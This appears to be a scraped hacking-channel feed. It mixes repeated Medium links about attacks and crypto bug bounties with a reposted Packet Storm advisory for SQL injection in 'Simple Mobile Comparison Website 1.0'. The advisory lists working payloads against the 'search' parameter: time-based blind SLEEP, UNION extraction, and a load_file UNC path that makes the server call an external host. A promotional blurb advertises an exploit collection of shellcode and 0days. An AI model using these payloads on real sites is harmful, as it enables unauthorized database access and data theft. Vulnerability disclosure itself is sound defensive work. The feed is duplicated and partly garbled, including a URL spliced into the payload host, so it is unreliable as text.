@Hacking_Video
Hackers Are Attacking More Serious Things Now
https://cdn-images-1.medium.com/max/1280/1*zGpYXVzbncHlu6CdiXec3A.jpeg
Digital attacks on cell phones are steadily declining.
Continue reading on Medium »
___________________________
@hacking_Attack
@Hacking_Video
Medium
Hackers Are Attacking More Serious Things Now
Digital attacks on cell phones are steadily declining.
Mars Protocol offers up to $1 million payout in bug bounty program with Immunefi
More than 20 contributors from around the world have spent nearly a year developing Mars from scratch in the Rust programming language…Continue reading on Medium »
Read more...
More than 20 contributors from around the world have spent nearly a year developing Mars from scratch in the Rust programming language…Continue reading on Medium »
Read more...
Take part of our Bug Bounty Program
https://avacash.medium.com/take-part-of-our-bug-bounty-program-f13362877d5?source=rss------bug_bounty-5
___________________________
@hacking_Attack
@Hacking_Video
https://avacash.medium.com/take-part-of-our-bug-bounty-program-f13362877d5?source=rss------bug_bounty-5
___________________________
@hacking_Attack
@Hacking_Video
Medium
Take part of our Bug Bounty Program 👨💻💰
As you well know Avacash.Finance is a fork of Tornado.cash in the Avalanche Blockchain, which means that we offer a fully decentralized…
As you well know Avacash.Finance is a fork of Tornado.cash in the Avalanche Blockchain, which means that we offer a fully decentralized…Continue reading on Medium » (https://avacash.medium.com/take-part-of-our-bug-bounty-program-f13362877d5?source=rss------bug_bounty-5)
___________________________
@hacking_Attack
@Hacking_Video
___________________________
@hacking_Attack
@Hacking_Video
Medium
Take part of our Bug Bounty Program 👨💻💰
As you well know Avacash.Finance is a fork of Tornado.cash in the Avalanche Blockchain, which means that we offer a fully decentralized…
Hacking Articles Tips Tricks Videos Tutorials
Photo
Exploit Collector
Simple Mobile Comparison Website 1.0 SQL Injection
https://4.bp.blogspot.com/-xJ4j9VfFswY/WWlvOf_vUlI/AAAAAAAAIMo/D1-kp_Mj10E1aNmsGMS5n6nKC28DofOXwCLcBGAs/s1600/h25.png
Simple Mobile Comparison Website version 1.0 suffers from a remote SQL injection vulnerability.
MD5 |
Download
Source:packetstormsecurity.com
___________________________
@hacking_Attack
@Hacking_Video
Simple Mobile Comparison Website 1.0 SQL Injection
https://4.bp.blogspot.com/-xJ4j9VfFswY/WWlvOf_vUlI/AAAAAAAAIMo/D1-kp_Mj10E1aNmsGMS5n6nKC28DofOXwCLcBGAs/s1600/h25.png
Simple Mobile Comparison Website version 1.0 suffers from a remote SQL injection vulnerability.
MD5 |
7bc26129c74f96ccd5d7426b6c335f29Download
# Title: Simple Mobile Comparison Website v1.0 - SQLi
# Author: nu11secur1ty
# Date: 02.23.2022
# Vendor: https://www.sourcecodester.com/users/tips23
# Software: https://www.sourcecodester.com/php/15186/simple-mobile-comparison-website-phpoop-free-source-code.html
# Reference: https://github.com/nu11secur1ty/CVE-nu11secur1ty/blob/main/vendors/oretnom23/2022/Simple-Mobile-Comparison-Website
## Description:
The `search` parameter appears to be vulnerable to SQL injection
attacks. The payload '+(select
load_file('\\\\b2erch904xo23g6w31eg32y49vfo3fr6uulhb50.https://www.sourcecodester.com/php/15186/simple-mobile-comparison-website-phpoop-free-source-code.html\\qhe'))+'
was submitted in the search parameter.
This payload injects a SQL sub-query that calls MySQL's load_file
function with a UNC file path that references a URL on an external
domain.
The application interacted with that domain, indicating that the
injected SQL query was executed.
WARNING: If this is in some external domain, or some subdomain
redirection, or internal whatever, this will be extremely dangerous!
Status: CRITICAL
[+] Payloads:
```mysql
---
Parameter: search (GET)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: search=218336'+(select
load_file('\\\\b2erch904xo23g6w31eg32y49vfo3fr6uulhb50.https://www.sourcecodester.com/php/15186/simple-mobile-comparison-website-phpoop-free-source-code.html\\qhe'))+'')
AND (SELECT 2552 FROM (SELECT(SLEEP(3)))GbNG) AND ('HpeL'='HpeL
Type: UNION query
Title: Generic UNION query (NULL) - 6 columns
Payload: search=218336'+(select
load_file('\\\\b2erch904xo23g6w31eg32y49vfo3fr6uulhb50.https://www.sourcecodester.com/php/15186/simple-mobile-comparison-website-phpoop-free-source-code.html\\qhe'))+'')
UNION ALL SELECT
NULL,NULL,CONCAT(0x716a717a71,0x735848694861555664694c6a6765425a746554476c705941525556624b5562576d4f646f6f674f55,0x717a787871),NULL,NULL,NULL,NULL,NULL--
-
---
```
## Reproduce:
[href](https://github.com/nu11secur1ty/CVE-nu11secur1ty/blob/main/vendors/oretnom23/2022/Simple-Mobile-Comparison-Website)
## Proof and Exploit:
[href](https://streamable.com/mtzocn)
Source:packetstormsecurity.com
___________________________
@hacking_Attack
@Hacking_Video
Kitploit
Simple Mobile Comparison Website 1.0 SQL Injection
Exploit Collector is the ultimate collection of public exploits and exploitable vulnerabilities. Remote/Local Exploits, Shellcode and 0days.